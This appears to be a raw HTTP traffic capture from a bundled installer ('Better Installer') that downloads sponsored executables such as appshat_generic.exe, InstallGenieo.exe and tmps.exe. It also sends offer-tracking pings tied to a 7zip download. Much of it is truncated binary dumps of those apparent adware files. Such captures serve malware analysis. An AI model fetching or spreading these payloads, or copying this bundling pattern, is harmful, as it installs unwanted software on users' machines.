x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 3a8fb6bd2920a51ec18c3a4f0c1b5cdb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FlXu2t0DQXt_QIH9iYKTQGkZS3wG4K-gtFu5Z1GyxTjU8ay7qIOH8w==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u........g .....x.UX...'.g..Os...%E.-r.....Z....$.I#[email protected]
..u]..12y..x....F..)...s....a Qe.*..j>.....Bnu1.C...1&j..1.n<Q..
G....x\.bU1..V.S<.......-@........&...~U{8...4.........1K.G.."d....
.F....\.k..............s....;.k..%&.k.e.h.....ma.I.;c..=..>........
.9&.......1 -|6%a...8...,4..Ksi...RQ.....|.3.c.cA...q.....f$.).GrX.;.9
x...q..r...5.z....:I]..x........d.dz..\..'!...".;v.2$.ikz.... ..tt.q..
..U..^.......gr...8R..J.-u.%.}..9......8H..).O.c..........!r5....P5...
._...........o.Ob....z..C.D. jz....'....y...&.(...s.....d.......W..F.d
.36.H...........5..j...>....sj.QZ.......^y.......#A.D...*...d.o..F.
..T.Nf.H.5B.....S......"...0.5..g....t...g.@. BX{.#.J..U`._4\...r..)H)
.l?m.R.FN.P.`......1..h...E:b..ER.i..,..S...%...l..@L...;.|.sm.y .<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:24 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 214168

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71390-285557/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 105d89977b3b597f82611afd69996fe6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4rsfGFdmA13TaCNvJuj5byO4VeryYTNPQK4d1fQAGYWi8ijqjw-TiA==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x<<< skipped >>>

GET /analytics.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 03:36:29 GMT

Expires: Thu, 08 Jan 2015 05:36:29 GMT

Last-Modified: Thu, 13 Nov 2014 21:10:00 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 11158

Age: 4673

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=7200
...........}{w.:.........Du..p8IMV.........,.ih.....6.g..{K..4<3..w
.....[..K..L.*...~ps!.{RFz.F...~...|<..a&N...0.].XF..}[email protected].
.....".nR.M..=....$.gy...P`(.5..P..T..z<.J{.W.%2..8..s..SO\!....'~.
........S......s.....Je;Y...i......A...;.MPn....>RO"o0R......O...r.
6..u.]c..T..z.'.....v1.t...h..c...=q.1He.|..x<@[email protected]..
>M<..F..>.Y......M.Q".'r:.>......g.t...a/C...x..12....}..s
?....W&S ..O.'...0/.R.{..z..L...8.yb$...~Of....1..LQ..v.'^F..Q...C....
.N....Z..c......=.u....?..PQ..}!;q7..g&. *U<..>U.QY...R..s.m.j5.
..][...0<..PP....h..{c{[..a...L..k!F........./^..z........G.>~..
..7. `.w..y68.....I6.....]olln=x......x.:..N.Ss....e7z.y..=/.z...f..y.
..f,..H..gZ.....x..E.-........E;...V...4..]T8....n...xU;O....^0...5t.b
.O.. .\[[ol.2T.!v.Ta#T1.N.I..=4...F....HR..E&K..m.y..~.{.xr|%...m.Z...
.jz.Ld...v8.L1..9....K..Q..S.....*..Z..T.w.L..k...Ky....."L?..../.X.z.
o<.....?7}.D..d....e..^....'....}...bE.J%....2.N9.mm......h<.)".
..n0....L\....8..>.]....@}.q.A.'z...g.{q)....f.D.5...?..,*.=K..*...
... CN...G.I.J1...A....C... X..O.\...7.{E..z..t>...k...D..k...h..[k
C~<.z.y....nka.z.....`G>..[@.L\/[email protected]....,.O....q...Lh.[..m
[email protected]%Z.....,oo....?M..=..|&~/Y.F...[[.N....
u.=C3..#/...N(v.XE81I4...h.-U."..i.T...4.*:[email protected].;=.....
8.`.g3=..{.)>...6..#...|S^nf#g.z.s.K.........Y.cC...U;c^..6.:@vU...
i/..m....i..L....|s......x.....[.v1@...(.g...]...bP..Z...=.....D.D.HM.
Y.....IXk..8..j. ..ag$....n.....A'...O..._..v..,.G..`..!...rM..o.V<<< skipped >>>

GET /r/collect?v=1&_v=j31&a=1465322709&t=pageview&_s=1&dl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1718075601&cid=369173105.1420692843&tid=UA-40752970-2&_r=1&z=1075254878 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Thu, 08 Jan 2015 04:54:22 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Thu, 08 Jan 2015 04:54:22 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=3&index_in_screen=1&index_in_session=3&display_height=90&0.5042214198475601 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.5.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:56:03 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:56:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

X-Cache: RefreshHit from cloudfront

Via: 1.1 2be309403f82d035a03fb49acb2eb499.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JgtVXQ4KxIYaNVaZZPwCQISGs6xQcaXM3Xv1ZM1iauQCVpIzW8ju4g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
[email protected]@.......u....q@.
........9].u".. ?B.j...`?B.......M.... ?B..c.....`?B... ?B..R....E..4.
 ?B.3...;....#M..D.....<....4. ?B.V.......p6B..5`r@.;.t.RQ...E....6
B.;[email protected]..<.....W. A....;
.tBj\[email protected]@...u...|p@[email protected]:.u.9
].t.j......Wh..B..EE..W..tp@..^...j..0...S.....P.!H...5...j......j....
[email protected]].......V..G..........WV.%B..j......S
[email protected]#.E.;.v%8.t!V..G..;.t...,P.u...D.....E.....
..9][email protected]@.....o........j.
.....PV.=A...r...j1........E....V.u..E..w?..V.p.@...t.V..D....h..B.V..
C..P..>..P..D..V.JF...p.@..}..|1V..F..3.;.t..M....QP..`[email protected].<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 aeb7836a7f4320ebda5a45c21ac97728.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5HCDQpTJjYFTC7dLJykEP1hmAMhlSnnjMu6d1P0NWS02Pub7dMRrPQ==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&display_height=50&0.4864459881653822 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.1.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:54:03 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:54:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: nQQnmWSMOce8606xlO3KaTIFO7Hol7ubSnvYqIt/bBkfwd9Zm0Q3n7psMKlY3ZcV01w2gmoC6do=

x-amz-request-id: C811AC2E45045C4C

Date: Thu, 08 Jan 2015 04:55:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET / HTTP/1.1

Range: bytes=24888-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3dff9c0f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=24888-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 174216

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 24888-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3e6fa10f75-FRA
..;..............4.4.N.......k.....YXVj....k......i..`.Wj.F.....u.w.&g
t;^../....j....j..l....?.........................$*.>].............
..........o.]...['....k|I.`&..F.z.....o.]..['..k..j..j.I.@............
...............?.....b..Z.............6.j..b.I..#..F.......?..........
................J.........!....'^.,..Z..Z..R.,.H...._.....[.....#.....
3...&J.j.,........j..D...>'............P...........LI..............
./......o.]........C.;.......k....j4.Z.....j......>'.3.............
..S....._....[..?k.u.MMO..?......._....L...F........../......o.]..[...
.......J...._s,.&...........O../.........o.].. ..._......._.........&.
_...k............._...[...>.;............. ...&b...a...,...'.......
................,........._...../......o.]..c.'.k..[. .Z.u..Z..R..{.'.
O.E...O..?..F..k[..[..... ...4..Z..........u.M..#...O..$..............
.. ..._..'....9u... .....#...O..$................ ...,.NN_..'...u... .
...Z.Ou...#...ON.........._...........t...u...;...NO.Z.O../......o.]..
 ....._...........'...........3...&.;.....>....._..........u...;...
Ou..Z.O../....Z.....o.].. ....._...........;............3...X........k
....j,...,.y$.......#.....'.............. .....'....._......k....jJ..#
....G%..Fy$.#.............._....k;u.GO..#....0%..Fy$.#.........X..3...
..'..... ...$Z........<../........o.].X.[. ...o.]..[.'......_......
...._........../......o.]..[.....J.....[...,...'...............#...&j.
......,.4...#.....W....._...$Z.l[..]_..<........_.....#...j...3....
..\^..<.......#...\^.._.........m.........W...4.u...7...OL..W..<<< skipped >>>

GET /mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/javascript; charset=utf-8

Content-Encoding: gzip

Expires: Fri, 09 Jan 2015 04:54:23 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Thu, 08 Jan 2015 04:54:22 GMT

Connection: close

Content-Length: 366
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;.}~qz..i.~...6.._....
Z.u{.:o.>....j..{.lT...r....2.]R..)....iGm...6.b...?.3.>...^>
.{......v...x.,..jq..h.W.g..pV-.by6.L.|tHo..8O..1.s.@}B.~!...G.'.~.. .
....... }....P.:....F!._}.}jE`..)...^....>.U.QP......'-...ZA...*.d.
..<.............`...Ro..y.....

GET / HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3a8f470f75-FRA

0......

GET /tmps.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 199104

Connection: keep-alive

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1a55cd3aef510f75-FRA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......]..L........
.....f~.........6.....B.......w.......p.....Rich......................
......PE..L......T.................`...................p....@.........
.................0.......].......................................p..&l
t;........H........................... ...............................
................p...............................text...._.......`.....
............. ..`.rdata.......p.......d..............@[email protected]...
[email protected]..................@..@...
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
................................................%. @..%. @..%. @..%. @
..%. @..%. @..%. @..%. @..%  @..%$ @..%( @..%, @..%0 @..%4 @..%8 @..%&
lt; @..%@ @..%D @..%H @..%L @..%P @..%T @..%X @..%\ @..%` @..%d @..%h 
@..%l @..%t @..%x @..%| @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%
. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @[email protected].
......].U....V..t..u. ...xu...:[email protected]....^].2...U..QQ.F<.L
04;[email protected]...... ...t.SW...U.y....E.....tD.H..M..M....f..f........
....y.I......A...f..t....u"....1.E..E..9}[email protected].@_[..3...U

<<< skipped >>>

GET / HTTP/1.1

Range: bytes=49776-99552

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3cc23c0f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=49776-99552

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 49777

Connection: keep-alive

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 49776-99552/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3d323d0f75-FRA
....IH..,..[....k&....%.j...k..O.%N.j.........j.,..........k.Y..3...c.
@[email protected];..c;.,..T...\..j..k;.HI4...G.......k...HOZ
..G.......j..c;..P....V...X..j.4....N.....^..j.4....4....X.O..H..H..u.
J......k;;I.-G.........kB...N..{;...^..j...4.O4.I..6O..D........N...^.
.j..[;.4.4...6......_...j..k;.. $I..H.........j....N...;......^..j.4..
[email protected].,.w....y..[;3.s;;.[
;.......I........C;.....Q....*.._..[;.OL....pj?L.|I...k;...I........[;
.OL.C;;.............C;..........k;3.c;7.S;/.S;.....;..................
..................................%.OI...`...,...k..S;/..$.j...^.y$].k
C\...$.m..C;.....Z..y.]....y.^..s;?.C;............k:...,.....:.......,
#...]., ...]..M.Vj........k7.[;....[;.....%....k;..VJ........k;3.c;7.k
;..,J........k;3.c;7......K;?........,.....:.......,#...]., ...]..M.Vj
